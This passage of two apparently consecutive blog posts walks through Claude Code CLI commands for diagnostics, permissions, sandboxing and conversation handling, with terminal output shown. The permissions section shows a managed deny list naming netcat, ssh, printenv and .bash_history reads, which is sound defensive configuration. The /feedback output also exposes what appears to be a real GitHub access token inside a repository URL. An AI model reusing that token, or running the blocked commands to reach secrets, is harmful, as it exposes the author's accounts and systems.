- /rename: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file
- /model: Determine the LLM model to be used
- /effort: Configures the effort level of the model, adjusting its internal reasoning behavior
- /login: Log in to the Anthropic subscription or Console
- /logout: Log out of an Anthropic account
✅ Session Reflection
- /cost: Shows the current session cost
- /usage: Shows token consumption in the context of a subscription plan
- /status: Shows essential CLI, model, and account information
- /stats: Shows usage statistics and activity overview
- /export: Create a compact conversation summary
- /insights: Generates a detailed report with meta information about the current session
✅ Session Management
- /batch: Execute a plan file as a parallel running sub-session
- /btw: Process an additional instruction during a long-running main task
- /loop: Run a specific prompt periodically
- /tasks: List all background tasks
- /fork: Define a staging point in the conversation history from which different branches can be invoked
- /rewind: Roll back the conversation and optionally code base to an earlier state
- /exit: Stop the terminal
- /resume: Continue a session
✅ Context Management
- /clear: Reset the conversation history
- /compact: Define a new conversation history entry, limiting the context that is sent to the LLM provider
- /context: Visualize current context usage as a colored grid
- /memory: Edit Claude memory files
✅ Conversation Ops
- /rename: Provide a meaningful name to the conversation
- /init: Read the current project and generate a CLAUDE.md file
- /plan: Toggle between editing and plan mode
- /simplify: Review the changed code for efficiency
- /review: Review a merge request and optionally check comments from an origin repo
- /security-review: Invoke a special agent that checks the source code for security issues
- /diff: View and commit staged file changes
- /copy: Copy the last answer to the clipboard
- /export: Create a compact conversation summary
✅ Terminal Configuration
- /theme: Configure the color theme
- /color: Configure prompt bar color
- /terminal-setup: Configure key bindings
- /vim: Enable or disable VIM editor support when editing files via the CLI
- /statusline: Set up a custom status line for the terminal
🌀 Diagnostics & User Support
- /release-notes: Show the Claude Code release notes
- /doctor: Check configuration status
- /debug: Enable verbose debugging output and check for known issues
- /feedback: Write feedback about your Claude Code experience
- /help: Show general information about available slash commands
- /powerup: Explore Claude Code feature with small lessons
- /stickers: Order Claude Code stickers
- /buddy: Hatch a Tamagotchi-like coding companion
🌀 Permissions
- /permissions: Fine-grained allow & deny tool permission rules
- /sandbox: Configure settings to secure Claude terminal access and program execution rights
Extensions
- /hooks: View hook configurations for tool events
- /skills: View installed skills
- /agents: Create and manage agents
- /mcp: Set up and manage MCP server definitions
- /chrome: Start a local Chromium browser for browser interaction
- /plugin: Browse and configure CLI extension
- /reload-plugins: Reload all configured plugins
Integrations
- /ide: Show IDE integrations for Claude, for example in Visual Studio Code
- /install-github-app: Configure GitHub actions that interact with Claude
- /install-slack-app: Configure Slack integration
- /mobile: Show a QR code to download the iOS or Android app
- /claude-api: Build native apps that integrate with Anthropic SDK

Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.

Diagnostics & User Support

`/release-notes`

This unassuming command prints the complete release-notes of all prior versions of the Claude Code binary. The output is very detailed, as you can see for yourself in the following excerpt.

/release-notes

Version 0.2.21:
· Fuzzy matching for /commands

Version 0.2.26:
· New /approved-tools command for managing tool permissions
· Word-level diff display for improved code readability
· Fuzzy matching for slash commands

...

Version 2.1.78:
· Added StopFailure hook event that fires when the turn ends due to an API error (rate limit, auth failure, etc.)
· Added ${CLAUDE_PLUGIN_DATA} variable for plugin persistent state that survives plugin updates; /plugin uninstall prompts before deleting
it
· Added effort, maxTurns, and disallowedTools frontmatter support for plugin-shipped agents
· Terminal notifications (iTerm2/Kitty/Ghostty popups, progress bar) now reach the outer terminal when running inside tmux with set -g
allow-passthrough on
· Response text now streams line-by-line as it's generated

`/doctor`

This command prints debug-like information about the current environment, including details such as the installer type, binary, install method, and information about updates.

See the full output of this command here:

  Diagnostics
  └ Currently running: npm-global (2.1.91)
  └ Path: /usr/local/bin/node
  └ Invoked: /usr/local/bin/claude
  └ Config install method: not set
  └ Search: OK (vendor)
  Updates
  └ Auto-updates: disabled (CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC set)
  └ Update permissions: No (requires sudo)
  └ Auto-update channel: latest
  └ Stable version: 2.1.116
  └ Latest version: 2.1.123

`/debug`

This command enables debugging log output. Upon execution, it prints file location to which verbose messages will be posted.

/debug

● Debug logging is now active. The log file is at /home/node/.claude/debug/3a0213a0-5ef4-420c-8d11-1bda03f41a1a.txt.

  No issues captured yet since logging was just enabled. If you encounter a problem, reproduce it and I'll check the log for errors or warnings.

Meanwhile, I continued the Claude Code session, and checked the accumulated content in this file. It contains trace information about plugin loading, file history, authentication, and executing the configured status script that renders the status line.

2026-04-29T18:14:01.226Z [DEBUG] High write ratio: blit=0, write=58565 (100.0% writes), screen=756x143
2026-04-29T18:14:01.230Z [DEBUG] AutoUpdaterWrapper: Installation type: npm-global
2026-04-29T18:14:01.246Z [DEBUG] LSP Diagnostics: getLSPDiagnosticAttachments called
2026-04-29T18:14:01.248Z [DEBUG] LSP Diagnostics: Checking registry - 0 pending
2026-04-29T18:14:01.251Z [DEBUG] Hooks: Found 0 total hooks in registry
2026-04-29T18:14:01.253Z [DEBUG] Sending 5 skills via attachment (initial, 5 total sent)
2026-04-29T18:14:01.255Z [DEBUG] Hooks: checkForNewResponses returning 0 responses
2026-04-29T18:14:01.274Z [DEBUG] FileHistory: Making snapshot for message 03a71a38-a939-496a-b94c-94b593035519
2026-04-29T18:14:01.280Z [DEBUG] Total plugin output styles loaded: 0
2026-04-29T18:14:01.292Z [DEBUG] [useDeferredValue] Messages deferred by 5 (443→448)
2026-04-29T18:14:01.364Z [DEBUG] High write ratio: blit=0, write=58565 (100.0% writes), screen=756x143
2026-04-29T18:14:01.372Z [DEBUG] FileHistory: Missing tracked file: .claude/statusline-command.sh
2026-04-29T18:14:01.373Z [DEBUG] FileHistory: Missing tracked file: .claude/statusline-command.cjs
2026-04-29T18:14:01.380Z [DEBUG] autocompact: tokens=78124 threshold=167000 effectiveWindow=180000
2026-04-29T18:14:01.386Z [DEBUG] Tool search disabled: ToolSearchTool is not available (may have been disallowed via disallowedTools).
2026-04-29T18:14:01.427Z [DEBUG] [API:request] Creating client, ANTHROPIC_CUSTOM_HEADERS present: false, has Authorization header: false
2026-04-29T18:14:01.428Z [DEBUG] [API:auth] OAuth token check starting
2026-04-29T18:14:01.437Z [DEBUG] [useDeferredValue] Messages deferred by 5 (443→448)
2026-04-29T18:14:01.447Z [DEBUG] StatusLine [input=$(cat); model=$(echo "$input" | jq -r '.model.display_name'); tokens=$(echo "$input" | jq -r '.context_window.current_usage.input_tokens'); max=$(echo "$input" | jq -r '.context_window.context_window_size'); echo "$model, $tokens/$max"; proj=$(echo "$input" | jq -r '.workspace.project_dir' | xargs -I{} basename "{}"); branch=$(git -C "$(echo "$input" | jq -r '.workspace.project_dir')" branch --show-current 2>/dev/null || echo ""); echo "$proj, $branch"] completed with status 0
2026-04-29T18:14:01.451Z [DEBUG] [API:auth] OAuth token check complete
2026-04-29T18:14:01.469Z [DEBUG] [API REQUEST] /anthropic/v1/messages source=repl_main_thread
2026-04-29T18:14:01.517Z [DEBUG] FileHistory: Added snapshot for 03a71a38-a939-496a-b94c-94b593035519, tracking 10 files
2026-04-29T18:14:01.538Z [DEBUG] [useDeferredValue] Messages deferred by 5 (443→448)
2026-04-29T18:14:13.607Z [DEBUG] Stream started - received first chunk
2026-04-29T18:14:16.271Z [WARN] [3P telemetry] Event dropped (no event logger initialized): api_request
2026-04-29T18:14:16.276Z [DEBUG] [useDeferredValue] Messages deferred by 2 (448→450)
2026-04-29T18:14:16.357Z [DEBUG] High write ratio: blit=0, write=58567 (100.0% writes), screen=759x143
2026-04-29T18:14:16.374Z [DEBUG] Preserving file permissions: 100600
2026-04-29T18:14:16.376Z [DEBUG] Writing to temp file: /home/node/.claude.json.tmp.16.1777486456374
2026-04-29T18:14:16.376Z [DEBUG] Temp file written successfully, size: 1057 bytes
2026-04-29T18:14:16.377Z [DEBUG] Applied original permissions to temp file
2026-04-29T18:14:16.377Z [DEBUG] Renaming /home/node/.claude.json.tmp.16.1777486456374 to /home/node/.claude.json
2026-04-29T18:14:16.378Z [DEBUG] File /home/node/.claude.json written atomically
2026-04-29T18:16:46.423Z [DEBUG] LSP server manager shut down successfully
2026-04-29T18:16:46.435Z [DEBUG] Preserving file permissions: 100600
2026-04-29T18:16:46.436Z [DEBUG] Writing to temp file: /home/node/.claude.json.tmp.16.1777486606435
2026-04-29T18:16:46.436Z [DEBUG] Temp file written successfully, size: 1141 bytes
2026-04-29T18:16:46.437Z [DEBUG] Applied original permissions to temp file
2026-04-29T18:16:46.438Z [DEBUG] Renaming /home/node/.claude.json.tmp.16.1777486606435 to /home/node/.claude.json
2026-04-29T18:16:46.438Z [DEBUG] File /home/node/.claude.json written atomically
2026-04-29T18:16:46.439Z [DEBUG] Metrics export disabled by organization setting
2026-04-29T18:16:46.440Z [DEBUG] BigQuery metrics exporter flush complete
2026-04-29T18:16:46.441Z [DEBUG] BigQuery metrics exporter flush complete
2026-04-29T18:16:46.443Z [DEBUG] BigQuery metrics exporter shutdown complete
2026-04-29T18:16:46.447Z [WARN] [stderr]
2026-04-29T18:16:46.451Z [DEBUG] Preserving file permissions: 100600
2026-04-29T18:16:46.453Z [DEBUG] Writing to temp file: /home/node/.claude.json.tmp.16.1777486606451
2026-04-29T18:16:46.453Z [DEBUG] Temp file written successfully, size: 1966 bytes
2026-04-29T18:16:46.454Z [DEBUG] Applied original permissions to temp file
2026-04-29T18:16:46.455Z [DEBUG] Renaming /home/node/.claude.json.tmp.16.1777486606451 to /home/node/.claude.json
2026-04-29T18:16:46.457Z [DEBUG] File /home/node/.claude.json written atomically
2026-04-29T18:16:46.460Z [DEBUG] Preserving file permissions: 100600
2026-04-29T18:16:46.461Z [DEBUG] Writing to temp file: /home/node/.claude.json.tmp.16.1777486606460
2026-04-29T18:16:46.461Z [DEBUG] Temp file written successfully, size: 2358 bytes
2026-04-29T18:16:46.462Z [DEBUG] Applied original permissions to temp file
2026-04-29T18:16:46.463Z [DEBUG] Renaming /home/node/.claude.json.tmp.16.1777486606460 to /home/node/.claude.json
2026-04-29T18:16:46.463Z [DEBUG] File /home/node/.claude.json written atomically

`/feedback`

Occasionally, a Claude Code session might show unexpected behavior, or even crash. To capture the necessary diagnostics and create a bug ticket for Anthropic, this command can be used.

Executing this command opens an interactive dialog, in which a short explanation is requested from the user.

/feedback

─────────────────────────────────────────────────────────────────────────────
  Submit Feedback / Bug Report

  Describe the issue below:

  When running long running tasks, the terminal commands to list background jobs should be executable in the same manner as the /btw command.

  Enter to continue · Esc to cancel

Upon confirming you issue, another screen details which kind of information will be included in the report. Pressing enter confirms your acceptance, and the issue will be sent to Anthropic.

Submit Feedback / Bug Report

  This report will include:
    - Your feedback / bug description: When running long running tasks, the terminal commands to list     background jobs should be executable in the same manner as the /btw command.
    - Environment info: linux, xterm, v2.1.91
    - Git repo metadata: feature/optimizations, c4d53f8 @ https://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@github.com/admantium-sg/universal-skill-converter.git, has local changes
    - Current session transcript

  We will use your feedback to debug related issues or to improve Claude Code's functionality (eg. to reduce the risk of bugs occurring in the future).

  Press Enter to confirm and submit.

`/help`

To get familiar with the complexity of the Claude Code CLI, this command provides a structured, compact reference. When executed, it opens a horizontal navigable screen with the three sections general, command, and custom commands.

❯ /help

─────────────────────────────────────────────────────────────────────────────
  Claude Code v2.1.91  general   commands   custom-commands

  Claude understands your codebase, makes edits with your permission, and executes commands — right from your terminal.

  New here? Run /powerup to learn the features most people miss.

In the first part, all defined keyboard shortcuts are printed. Helpful text editing features include file mentioning, undo, stashing, and opening an editor for complex prompts. You can also toggle the model and fast mode, and execute bash commands without leaving the CLI.

  Shortcuts
  ! for bash mode           double tap esc to clear input        ctrl + shift + - to undo
  / for commands            shift + tab to auto-accept edits     ctrl + z to suspend
  @ for file paths          ctrl + o for verbose output          ctrl + v to paste images
  & for background          ctrl + t to toggle tasks             meta + p to switch model
  /btw for side question    backslash (\) + return (⏎) for       meta + o to toggle fast mode
                            newline                              ctrl + s to stash prompt
                                                                 ctrl + g to edit in $EDITOR

The second section lists all available commands, alphabetically.

Browse default commands:

/add-dir
  Add a new working directory
/agents
  Manage agent configurations
/branch
  Create a branch of the current conversation at this point
/btw
  Ask a quick side question without interrupting the main conversation
/clear
  Clear conversation history and free up context

...

And the last section shows an interesting amount of commands grouped together, and includes custom commands defined in your global and local Claude settings.

Browse custom commands:

/batch
  Research and plan a large-scale change, then execute it in parallel across 5–30 isolated worktree agents that ea…
/claude-api
  Build apps with the Claude API or Anthropic SDK.…
/debug
  Enable debug logging for this session and help diagnose issues (bundled)
/loop
  Run a prompt or slash command on a recurring interval (e.g. /loop 5m /foo, defaults to 10m) (bundled)
/simplify
  Review changed code for reuse, quality, and efficiency, then fix any issues found. (bundled)
/update-config
  Use this skill to configure the Claude Code harness via settings.json. Automated behaviors ("from now on when X"…

/powerup

Another command to get familiar with the Claude Code CLI is to use powerup. It provides a to-do list with essential topics that you should work on.

/powerup

─────────────────────────────────────────────────────────────────────────────
  Power-ups 0/10 unlocked

  Each power-up teaches one thing Claude Code can do that most people miss. Open one, read it, try it, mark it done.

  ❯ ◯ Talk to your codebase    @ files, line refs
    ◯ Steer with modes         shift+tab, plan, auto
    ◯ Undo anything            /rewind, Esc-Esc
    ◯ Run in the background    tasks, /tasks
    ◯ Teach Claude your rules  CLAUDE.md, /memory
    ◯ Extend with tools        MCP, /mcp
    ◯ Automate your workflow   skills, hooks
    ◯ Multiply yourself        subagents, /agents
    ◯ Code from anywhere       /remote-control, /teleport
    ◯ Dial the model           /model, /effort

Here is the printout of the first lesson.

 ◯ Talk to your codebase

  Type @ anywhere in your prompt to fuzzy-find and attach a file. Claude reads it before answering — no more pasting code.

  ╭──────────────────────────────────────────────╮
  │ > what does @src/auth.ts do?          ◐ demo │
  │ ◐ Reading src/auth.ts…                       │
  │                                              │
  ╰──────────────────────────────────────────────╯

  Reference specific lines with src/app.ts:42 and Claude jumps straight there. Works in both directions: Claude cites files the same way, so you can click to open them in your editor.

  Also try: @folder/ to attach a whole directory tree.

`/stickers`

A command named for what it does – it opens a webpage where you can order real stickers.

/stickers
  ⎿  Failed to open browser. Visit: https://www.stickermule.com/claudecode

Here is a screenshot of the offered variants.

/buddy

In the middle of working on this article, I discovered a new command in the list. It creates a coding companion, a Tamagotchi like creature that lives on your terminal.

╭──────────────────────────────────────╮
│                                      │
│  ★ COMMON                     CHONK  │
│                                      │
│    /\    /\                          │
│   ( ✦    ✦ )                         │
│   (   ..   )                         │
│    `------´                          │
│                                      │
│  Gravy                               │
│                                      │
│  "A common chonk of few words."      │
│                                      │
│  DEBUGGING  ███░░░░░░░  25           │
│  PATIENCE   ░░░░░░░░░░   1           │
│  CHAOS      █░░░░░░░░░   9           │
│  WISDOM     ██████░░░░  55           │
│  SNARK      ████░░░░░░  43           │
│                                      │
╰──────────────────────────────────────╯

Gravy is here · it'll chime in as you code
your buddy won't count toward your usage
say its name to get its take · /buddy pet · /buddy off

During coding, prompts will be watched by this creature, increasing or decreasing its attributes. Alternatively, you can mention it actively, and give it a task. The interaction below shows that the main agent receives the prompt, and then invokes the companion, which is likely implemented as an agent too.

Gravy, what do you think is my intention during this session?

∴ Thinking…

  The user is asking Gravy (the companion chonk) what their intention is during this session. Gravy will respond. My job is to stay out of the way and let Gravy answer - but also, as the assistant, I should be ready to continue work once Gravy finishes.

...
Gravy says: "It looks like you're here to learn how to build LLM-powered apps with the Claude API, then probably put that knowledge to work — maybe on the Python refactor plan that's sitting in the background? Or maybe you're just browsing the docs. Hard to tell, but I'm getting "planning to build something smart" vibes from you."

Permissions

Claude Code has an extensive permission system, regulating shell command execution, file modification, and access to special or pseudo files.

When starting a session inside a terminal, you must approve to trust this folder. Then, all bash commands that Claude generates to e.g. explore the code base, listing files, reading their content, and continuing with editing and writing files or running tests on your source code, ultimately require permissions. The individual commands allowed or restricted are recorded in a settings.json file.

Four scopes for this file exists: Globally managed, in Linux systems under the path /etc/claude-code/, in your home directory ~/.claude, in the project directory, and in the local folder you are working on. From all these locations, the currently effective config will be merged, in this order: local, project, user, command line arguments, managed. Local settings can override anything else, with the exception of managed settings. This file is meant to place system settings that restric access to conventional files, pseudo files at /proc, or special files such as sockets. This is advisable to limit the risks of accidential credantial exposure or executing malicious code that damages or infilrates the host.

`/permissions`

Editing the permission settings directly in the JSON files can be tedious. This command helps with a structured dialog to browse, edit, and add permissions.

The opening dialogue shows four sections at the top: Recently denied, Allow, Ask, Deny, and Workspace. Each of these sections list the corresponding permissions entries.

 /permissions

─────────────────────────────────────────────────────────────────
  Permissions:  Recently denied   Allow   Ask   Deny   Workspace

  Claude Code won't ask before using allowed tools.
  ╭───────────────────────────────────────────────╮
  │ ⌕ Search…                                     │
  ╰───────────────────────────────────────────────╯

    1. Add a new rule…
    2. Bash(node:*)
    3. Read
    4. WebSearch

   ←/→ tab switch · ↓ return · Esc cancel

Here is an example for adding a new rule, executing npm run lint in the project. The dialog ask where this rule should be persisted.

─────────────────────────────────────────────────────────────────
  Add allow permission rule

    Bash(npm run lint)
    The Bash command npm run lint


  Where should this rule be saved?
  ❯ 1. Project settings (local)  Saved in .claude/settings.local.json
    2. Project settings          Checked in at .claude/settings.json
    3. User settings             Saved in at ~/.claude/settings.json

When browsing to the Deny section, entries from my managed settings are shown ...

─────────────────────────────────────────────────────────────────
  Permissions:  Recently denied   Allow   Ask   Deny   Workspace

  Claude Code will always reject requests to use denied tools.
  ╭──────────────────────────────────────────────────────────╮
  │ ⌕ Search…                                                │
  ╰──────────────────────────────────────────────────────────╯

    1.  Add a new rule…
    2.  Bash(env*)
    3.  Bash(nc*)
    4.  Bash(ncat*)
    5.  Bash(netcat*)
    6.  Bash(netstat*)
    7.  Bash(printenv*)
    8.  Bash(ss*)
    9.  Bash(ssh*)
  ↓ 10. Grep(**/.bash_history*)

... and can not be edited.

╭─────────────────────────────────────────────────────────────────────╮
│ Rule details                                                        │
│   Bash(netcat*)                                                     │
│   The Bash command netcat*                                          │
│   From enterprise managed settings                                  │
│ This rule is configured by managed settings and cannot be modified. │
│ Contact your system administrator for more information.             │ 
╰─────────────────────────────────────────────────────────────────────╯

Esc to cancel

Finally, the Workspace section shows the current working directory, and enables to add additional ones too.

─────────────────────────────────────────────────────────────────
  Permissions:  Recently denied   Allow   Ask   Deny   Workspace

  Claude Code can read files in the workspace, and make edits when auto-accept edits is on.

    -  /opt/claude/universal-skill-converter (Original working directory)
    1. Add directory…


   ←/→ tab switch · ↓ return · Esc cancel

`/sandbox`

Another security layer is sandbox mode. The Claude CLI runs with a system-specific process supervisor, which is seatbelt for osx and bubblewrap for Linux and the Windows WSL2 shell.

This command start a dialogue that navigates the setting landscape of sandbox mode, with four different sections.

─────────────────────────────────────────────────────────────────
  Sandbox:  Mode   Dependencies   Overrides   Config

In the first tab, "Mode", the invocation alternatives are listed. The sandbox can be disabled, enabled for bash commands with regular permissions, or enabled for bash with auto allow

───────────────────────────────────────────────────────────────────────
  Sandbox:  Mode   Dependencies   Overrides   Config

  Note: Cannot block unix domain sockets (see Dependencies tab)

  Configure Mode:

    1. Sandbox BashTool, with auto-allow
    2. Sandbox BashTool, with regular permissions
    3. No Sandbox (current)

  Auto-allow mode: Commands will try to run in the sandbox automatically, and attempts to run outside of the sandbox
  fallback to regular permissions. Explicit ask/deny rules are always respected.

  Learn more: code.claude.com/docs/en/sandboxing

I enabled the second option.

/sandbox
  ⎿  ✓ Sandbox enabled with regular bash permissions

The dependencies tab lists all required libraries or OS packages and their install status. When testing this command initially, I saw that one requirement was still missing, and installed it.

───────────────────────────────────────────────────────────────────────
  Sandbox:  Mode   Dependencies   Overrides   Config


  ripgrep (rg): found

  bubblewrap (bwrap): installed

  socat: installed

  seccomp filter: not installed (required to block unix domain sockets)
    · npm install -g @anthropic-ai/sandbox-runtime
    · or copy vendor/seccomp/* from sandbox-runtime and set
      sandbox.seccomp.bpfPath and applyPath in settings.json

In the Overrides tab, the current sandbox setting can be modified. If you want to stay strict, option 2 should be selected.

───────────────────────────────────────────────────────────────────────
  Sandbox:  Mode   Dependencies   Overrides   Config

Configure Overrides:

    1. Allow unsandboxed fallback (current)
    2. Strict sandbox mode

  Allow unsandboxed fallback: When a command fails due to sandbox restrictions, Claude can retry with
  dangerouslyDisableSandbox to run outside the sandbox (falling back to default permissions).

  Strict sandbox mode: All bash commands invoked by the model must run in the sandbox unless they are explicitly listed
  in excludedCommands.

  Learn more: code.claude.com/docs/en/sandboxing#configure-sandboxing

The final tab shows configs at a glance.

───────────────────────────────────────────────────────────────────────
  Sandbox:  Mode   Dependencies   +Overrides+   Config
Excluded Commands:
  None

  Filesystem Read Restrictions:
  Denied: /opt/claude/universal-skill-converter/.env, /opt/claude/universal-skill-converter/node_modules/bottleneck/.env,
   /opt/claude/proc, /opt/claude/run/docker.sock, /opt/claude/var/run/docker.sock

  Filesystem Write Restrictions:
  Allowed: /dev/stdout, /dev/stderr, /dev/null, /dev/tty, /dev/dtracehelper, /dev/autofs_nowait, /tmp/claude,
  /private/tmp/claude, /home/node/.npm/_logs, /home/node/.claude/debug, ., /tmp/claude-1000/
  Denied within allowed: /home/node/.claude/settings.json, /opt/claude/.claude/settings.json,
  /opt/claude/.claude/settings.local.json, /etc/claude-code/managed-settings.json, /etc/claude-code/managed-settings.d,
  /opt/claude/.claude/skills

  ⚠ Warning: Glob patterns not fully supported on Linux
  The following patterns will be ignored: Read(**/.env*), Read(**/.git-credentials*), Read(**/.gitconfig*) (7 more)

Conclusion

The Claude Code CLI offers more than 40 subcommands. This blog article explored all commands concerned with Diagnostics & User Feedback as well as permissions. The Diagnostics & User support section includes commands about a) accessing release notes, b) seeing details about the Claude Code installation method and information about updates, c) starting debug mode that logs detailed statements to a file during your session, d) submitting a bug report from your current Claude Code session, including session logs and runtime information, e) seeing all key bindings in a compact form, and browse all CLI and custom commands, f) starting interactive learning sessions that help you master the CLI, g) ordering Claude Code stickers and f) creating a Tamagotchi-like coding buddy. The permissions commands allow yoo to a) browse, edit, and add permissions via a dialogue, and b) see and configure sandbox settings for an even stricter invocation of Claude Code.

Claude Code CLI: Conversation Ops and Terminal Configuration

Sebastian — Thu, 09 Jul 2026 05:31:29 +0000

Claude Code is the frontier agentic tool for coding. It autonomously creates structured plans with individual tasks to implement complex code changes. Under its hood, it parses user prompts, injects them into pre-configured system prompts, and issues and resolves tool usages to operate on a computers file system.

This article continues the complete exploration of all Claude Code CLI commands. The particular focus are conversation ops, steering claude’s invocation in the current project, and permisions, fine-grained control how the claude code terminal can access your files.

The technical context of this article is claude_code v2.1.91, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.

Claude Code CLI: Slash Command Overview

✅ Session Configuration
- /add-dir: Add an additional working directory to the current session
- /rename: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file
- /model: Determine the LLM model to be used
- /effort: Configures the effort level of the model, adjusting its internal reasoning behavior
- /login: Log in to the Anthropic subscription or Console
- /logout: Log out of an Anthropic account
✅ Session Reflection
- /cost: Shows the current session cost
- /usage: Shows token consumption in the context of a subscription plan
- /status: Shows essential CLI, model, and account information
- /stats: Shows usage statistics and activity overview
- /config: General purpose configuration
- /update-config: Customizations of Claude Code internals
- /export: Create a compact conversation summary
- /insights: Generates a detailed report with meta information about the current session
✅ Session Management
- /batch: Execute a plan file as a parallel running sub-session
- /btw: Process an additional instruction during a long-running main task
- /loop: Run a specific prompt periodically
- /tasks: List all background tasks
- /fork: Define a staging point in the conversation history from which different branches can be invoked
- /rewind: Roll back the conversation and optionally code base to an earlier state
- /exit: Stop the terminal
- /resume: Continue a session
✅ Context Management
- /clear: Reset the conversation history
- /compact: Define a new conversation history entry, limiting the context that is sent to the LLM provider
- /context: Visualize current context usage as a colored grid
- /memory: Edit Claude memory files
🌀 Conversation Ops
- /rename: Provide a meaningful name to the conversation
- /init: Read the current project and generate a CLAUDE.md file
- /plan: Toggle between editing and plan mode
- /simplify: Review the changed code for efficiency
- /review: Review a merge request and optionally check comments from an origin repo
- /security-review: Invoke a special agent that checks the source code for security issues
- /diff: View and commit staged file changes
- /copy: Copy the last answer to the clipboard
- /export: Create a compact conversation summary
🌀 Terminal Configuration
- /theme: Configure the color theme
- /color: Configure prompt bar color
- /terminal-setup: Configure key bindings
- /vim: Enable or disable VIM editor support when editing files via the CLI
- /statusline: Set up a custom status line for the terminal
Diagnostics & User Support
- /release-notes: Show the Claude Code release notes
- /doctor: Check configuration status
- /debug: Enable verbose debugging output and check for known issues
- /feedback: Write feedback about your Claude Code experience
- /help: Show general information about available slash commands
- /powerup: Explore Claude Code feature with small lessons
- /stickers: Order Claude Code stickers
- /buddy: Hatch a Tamagotchi-like coding companion
Permissions
- /permissions: Fine-grained allow & deny tool permission rules
- /sandbox: Configure settings to secure Claude terminal access and program execution rights
Extensions
- /hooks: View hook configurations for tool events
- /skills: View installed skills
- /agents: Create and manage agents
- /mcp: Set up and manage MCP server definitions
- /chrome: Start a local Chromium browser for browser interaction
- /plugin: Browse and configure CLI extension
- /reload-plugins: Reload all configured plugins
Integrations
- /ide: Show IDE integrations for Claude, for example in Visual Studio Code
- /install-github-app: Configure GitHub actions that interact with Claude
- /install-slack-app: Configure Slack integration
- /mobile: Show a QR code to download the iOS or Android app
- /claude-api: Build native apps that integrate with Anthropic SDK

Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.

Conversation Ops

`/rename`

Session persistence in Claude Code is implemented by writing JSONL files to specific folder in ~/.claude/projects. The assigned filename is a hash value, which makes it difficult to remember.

With the /rename command, you can provide a meaningful name, which is reflected in the file structure too.

/rename refactor-to-python
  ⎿  Session renamed to: refactor-to-python

────────────────────────────────────────────────── refactor-to-python ──
❯
────────────────────────────────────────────────────────────────────────

The association between the custom-name and the session-hash is defined in a global session file. Take a look:

.claude/sessions/1200.json:1:{"pid":1200,"sessionId":"3a0213a0-5ef4-420c-8d11-1bda03f41a1a","cwd":"/opt/claude","startedAt":1777104608328,"kind":"interactive","entrypoint":"cli","name":"refactor-to-python"}

`/init`

Every LLM invocation needs context to work on tasks. Claude Codes memory architecture put the canonical CLAUDE.md file as a permanent context into each session. This command reads the entire working directory, and creates this file as a summary of tis findings. When working on a coding project, it includes the tech stack, architecture, commands and more.

/init

● Write(CLAUDE.md)
  ⎿  Wrote 78 lines to CLAUDE.md
      1 # CLAUDE.md
      2
      3 This file provides guidance to Claude Code (claude.ai/code) when working with code in this reposit
        ory.
      4
      5 ## Overview
      6
      7 skill-convert is a CLI tool that converts skills from Anthropic's skill.sh format to OpenClaw's cl
        awhub format. It handles both local filesystem conversions and remote GitHub repository sources.
      8
      9 ## Common Commands
     … +68 lines (ctrl+o to expand)

● Created CLAUDE.md at /opt/claude/universal-skill-converter/CLAUDE.md. It includes:

  - Commands: dev, build, test, typecheck, lint, format
  - Architecture: Directory tree with descriptions of each module
  - Conversion flow: 6-step process from validation to marker writing
  - Remote sources: How GitHub URLs are detected and handled
  - Error handling: Exit codes and global handlers
  - Dependencies: Key npm packages used

`/plan`

Project size, the number of files and total lines of code, influence how good specific changes are. Although the agentic loop in Claude Code evolves between releases, it is a good idea to plan complex changes a priori.

This command creates a plan.md file, defining all steps, which then serves as a runbook during execution.

Here is an example how a refactoring of my universal-skill-converter project from NodeJS to Python could be implemented. Upon starting, the CLI dialogue even renders questions back to the user.

Refactor this app to python. Write the plan file "refactor-to-python.md"

● I'll help you refactor this app to Python. Let me start by exploring the codebase to
  understand its structure and functionality.

● Explore(Explore main codebase structure)
  ⎿  Done (42 tool uses · 45.7k tokens · 5m 21s)
  (ctrl+o to expand)

  Searched for 3 patterns (ctrl+o to expand)

● Now I understand the codebase completely. Let me create a plan file for refactoring to
  Python.

● Updated plan
  ⎿  /plan to preview

● I have created a comprehensive refactoring plan. Let me confirm a few key design choices with
   you:
──────────────────────────────────────────────────────────────────────
──────────────────────────────────────────────────────────────────────
←  ☒ CLI Framework  ☐ Interface  ☐ Coverage  ☐ Async I/O  ✔ Submit  →

Should I keep the same package structure and CLI command names?

❯ 1. Yes, identical
     Same commands and arguments for zero friction
  2. Custom names
     Can use better Python naming conventions
  3. Type something.
──────────────────────────────────────────────────────────────────────
  4. Chat about this
  5. Skip interview and plan immediately

The generated plan file is stored at .claude/plans/. Here is a summary description ...

Here's the plan file for the Python refactoring:

  Plan Summary

  File: /home/node/.claude/plans/serene-waddling-newt.md

  Project: universal-skill-converter - Convert TypeScript CLI tool to Python

  Key Highlights:

  1. Tech Stack:
    - CLI: Click (user-selected)
    - Validation: Pydantic
    - Formatting: Rich
    - Git: GitPython
    - Testing: pytest
  2. Architecture: Modular layered design (CLI → Core → Models → UI)
  3. File Structure: 20+ Python modules organized in:
    - src/cli.py - Entry point
    - src/core/ - 12 core library modules
    - src/models/ - Pydantic models
    - src/ui/ - Output, prompts, logging
    - tests/ - Comprehensive test suite
  4. Migration Phases:
    - Phase 1: Project setup (30 min)
    - Phase 2: Core library migration (4 hours)
    - Phase 3: Main logic (1.5 hours)
    - Phase 4: CLI layer (1.5 hours)
    - Phase 5: Testing (3 hours)
    - Phase 6: Configuration (1 hour)

  Total: ~12 hours
  5. Success Criteria: >70% test coverage, identical CLI interface, 100% test pass rate, type checking passes

  The plan is ready for execution. Would you like me to proceed with implementation?

... and a peek into the first source-code lines.

## Context

**Project**: universal-skill-converter - CLI tool for converting Anthropic skill.sh format to OpenClaw clawhub format

**Current State**: TypeScript/Node.js application with 1,460 lines of source code, comprehensive testing, and layered architecture

**Refactoring Goal**: Port the entire application to Python while preserving:
- All functionality (local and remote conversion)
- Security features (safe YAML parsing, path sanitization)
- Testing coverage (94 tests, 100% pass rate)
- Architecture patterns (layered design, single responsibility)

## Design Approach

### Architecture Pattern: Modular CLI Application

Following a similar layered approach:
- **CLI Layer**: Argument parsing and command orchestration
- **Core Library**: Business logic modules
- **Validation Layer**: Input validation (using pydantic)
- **UI Layer**: Output formatting and user interaction
- **Tests**: Comprehensive test suite with pytest

